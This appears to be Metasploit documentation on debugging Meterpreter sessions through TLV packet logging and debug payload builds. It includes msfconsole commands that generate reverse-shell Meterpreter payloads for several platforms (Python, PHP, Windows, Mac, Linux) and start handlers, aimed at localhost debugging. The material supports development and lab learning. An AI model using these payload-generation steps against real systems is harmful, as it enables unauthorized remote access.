There are currently two main ways to debug Meterpreter sessions: 1. Log all networking requests between msfconsole and Meterpreter, i.e. TLV Packets 2. Generate a custom Meterpreter debug build with extra logging present ## Log Meterpreter TLV Packets This can be enabled for any Meterpreter session, and does not require a debug Metasploit build: ```msf msf6 > setg SessionTlvLogging true SessionTlvLogging => true ``` Allowed values: - `setg SessionTlvLogging true` - Enable network logging, defaulting to console - `setg SessionTlvLogging false` - Disable all network logging - `setg SessionTlvLogging console` - Log to the current msfconsole instance - `setg SessionTlvLogging file:/tmp/session.txt` - Write the network traffic logs to an arbitrary file Example output: ``` meterpreter > getenv USER SEND: # # # ]> RECV: # # # # # # ]> ]> Environment Variables ===================== Variable Value -------- ----- USER demo_user ``` ## Meterpreter debug builds The following options can be specified when generating Meterpreter payloads: - `MeterpreterDebugBuild` - When set to `true`, the generated Meterpreter payload will have additional logging present - `MeterpreterDebugLogging` - Configure the logging mode. This currently only allows writing to a file on the remote host. Requires `MeterpreterDebugBuild` to be set to true. Example value: `setg MeterpreterDebugLogging rpath:/tmp/meterpreter_log.txt` - `MeterpreterTryToFork` - When set to `true` the Meterpreter payload will try to fork from the currently running process. Setting to `false` is useful to see any `stdout` logging that occurs The debug build will have additional log statements, which can be easily detected. These debug builds are useful for scenarios where A/V is not running, in local labs for learning purposes, or raising Metasploit issue reports etc. ### Python ``` use payload/python/meterpreter_reverse_tcp generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false to_handler python3 shell.py ``` ### PHP ``` use payload/php/meterpreter_reverse_http generate -o shell.php -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true to_handler php shell_http.php ``` ### Windows ``` use windows/x64/meterpreter_reverse_tcp generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/Windows/Temp/foo.txt' to_handler ``` ### Mac ``` use osx/x64/meterpreter_reverse_tcp generate -f macho -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt' to_handler ``` ### Linux ``` use linux/x64/meterpreter_reverse_tcp generate -f elf -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt' to_handler ``` ### Java Functionality not supported